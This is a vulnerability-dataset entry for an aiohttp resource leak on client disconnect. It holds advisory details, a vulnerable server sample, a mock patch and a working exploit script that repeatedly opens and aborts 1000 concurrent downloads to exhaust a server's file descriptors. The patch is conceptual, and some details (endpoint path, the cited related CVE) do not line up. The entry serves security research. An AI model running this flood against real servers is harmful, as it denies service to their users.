CVE-2026-54280
AIOHTTP resource leak on client disconnect causes resource starvation.
- CVSS 1.7
- CWE-404
- Resource Management
- Remote
AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.1, payload resources are not closed correctly when a client disconnects in the middle of a write. If a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file. This vulnerability is fixed in 3.14.1.
- CWE
- CWE-404
- CVSS base score
- 1.7
- Published
- 2026-06-22
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- File Handle Leaks
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- AIOHTTP
- Fixed by upgrading
- Yes
Solution
Upgrade AIOHTTP to version 3.14.1 or later.
Vulnerable code sample
import asyncio
from aiohttp import web
import tempfile
import os
# Create a large temporary file to simulate a resource that will be served.
# In a real-world scenario, this could be any large static file.
_temp_fd, LARGE_FILE_PATH = tempfile.mkstemp(suffix=".data")
with os.fdopen(_temp_fd, "wb") as f:
f.write(os.urandom(20 * 1024 * 1024)) # 20 MB file
async def download_handler(request):
"""
This handler serves a large file. In the vulnerable version of aiohttp,
if the client disconnects mid-transfer, the file handle opened by
FileResponse is not guaranteed to be closed. Repeatedly connecting
and disconnecting would cause the server to run out of available
file descriptors.
"""
return web.FileResponse(path=LARGE_FILE_PATH)
app = web.Application()
app.router.add_get('/download', download_handler)
# To run this vulnerable server, use a vulnerable version of aiohttp
# (e.g., pip install aiohttp==3.9.1 for the similar CVE-2024-23334)
# and add the following lines:
#
# if __name__ == "__main__":
# web.run_app(app, port=8080)Patched code sample
import asyncio
class ResourcePayload:
"""
A conceptual class representing a payload that uses a limited
resource, such as an open file handle, which needs to be closed.
"""
def __init__(self, name="resource.dat"):
self.name = name
self.closed = False
print(f"--- Resource '{self.name}' OPENED. ---")
async def write(self, writer):
"""
Simulates writing the payload to a client. A client disconnect during
this operation would raise an exception (e.g., CancelledError).
"""
print(f"Writing '{self.name}' to client...")
try:
# Simulate a long-running write operation that can be interrupted.
await asyncio.sleep(10)
except asyncio.CancelledError:
print(f"Write for '{self.name}' was cancelled by client disconnect.")
# The exception propagates up to the request handler.
raise
def release(self):
"""
The crucial cleanup method to release the underlying resource.
The vulnerability was that this method was not reliably called
when the write() operation was interrupted by a client disconnect.
"""
if not self.closed:
self.closed = True
print(f"--- Resource '{self.name}' RELEASED/CLOSED successfully. ---")
async def fixed_request_handler(payload):
"""
This function conceptually represents the fixed logic inside the aiohttp
server. It demonstrates how a `finally` block guarantees resource cleanup.
"""
mock_writer = object() # Represents the network connection writer.
try:
# The server attempts to write the payload. This is the operation
# that can be interrupted by a client disconnecting.
await payload.write(mock_writer)
except asyncio.CancelledError:
# In aiohttp, a client disconnect often results in the task being
# cancelled. This block catches that case.
print("Handler caught cancellation during write operation.")
finally:
# THE FIX: This 'finally' block is the core of the fix.
# It ensures that `payload.release()` is called regardless of whether
# the `write` operation succeeded, failed, or was cancelled. This
# prevents the resource from being leaked.
print("Handler entering 'finally' block to guarantee cleanup.")
if hasattr(payload, 'release'):
payload.release()
# To demonstrate the fix, one would run the handler in a task and cancel it
# shortly after it starts to simulate a client disconnecting mid-transfer.
#
# async def main():
# task = asyncio.create_task(fixed_request_handler(ResourcePayload()))
# await asyncio.sleep(1) # Allow the write operation to start.
# task.cancel() # Simulate the client disconnecting.
# await asyncio.gather(task, return_exceptions=True)
#
# if __name__ == "__main__":
# asyncio.run(main())
#
# Upon running the simulation, the output would confirm that the resource is
# always released in the 'finally' block, even after cancellation.Payload
import asyncio
import aiohttp
# The target URL should point to a vulnerable aiohttp server endpoint
# that serves a response from a file-like object (e.g., aiohttp.web.FileResponse).
TARGET_URL = "http://localhost:8080/download_file"
# Number of concurrent connections to open and abort.
# A high number is used to exhaust file descriptors before garbage collection can clean them up.
CONCURRENT_REQUESTS = 1000
async def trigger_leak(session):
"""
Opens a connection, starts reading the response, and then aborts,
causing the vulnerable server to leak the payload's resource handle.
"""
try:
# Set a short timeout as we don't intend to complete the request.
async with session.get(TARGET_URL, timeout=5) as response:
# Read just a small chunk of the response body. This ensures the
# server has opened the resource (e.g., file handle) and started writing.
await response.content.read(1024)
# By immediately exiting the 'async with' block, the client connection
# is closed, simulating a "disconnect in the middle of a write".
# The vulnerable server will fail to close the associated resource.
except (aiohttp.ClientError, asyncio.TimeoutError):
# Errors are expected as the server becomes unresponsive due to resource exhaustion.
pass
async def main():
"""
Continuously launches batches of requests to trigger and sustain resource starvation.
"""
headers = {"Connection": "close"}
async with aiohttp.ClientSession(headers=headers) as session:
while True:
print(f"Launching {CONCURRENT_REQUESTS} requests to trigger resource leak...")
tasks = [trigger_leak(session) for _ in range(CONCURRENT_REQUESTS)]
await asyncio.gather(*tasks)
print("Batch finished. The server may now be out of file descriptors.")
# A small delay to allow for observing server state before next wave.
await asyncio.sleep(1)
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\nExploit terminated by user.")
Cite this entry
@misc{vaitp:cve202654280,
title = {{AIOHTTP resource leak on client disconnect causes resource starvation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-54280},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54280/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
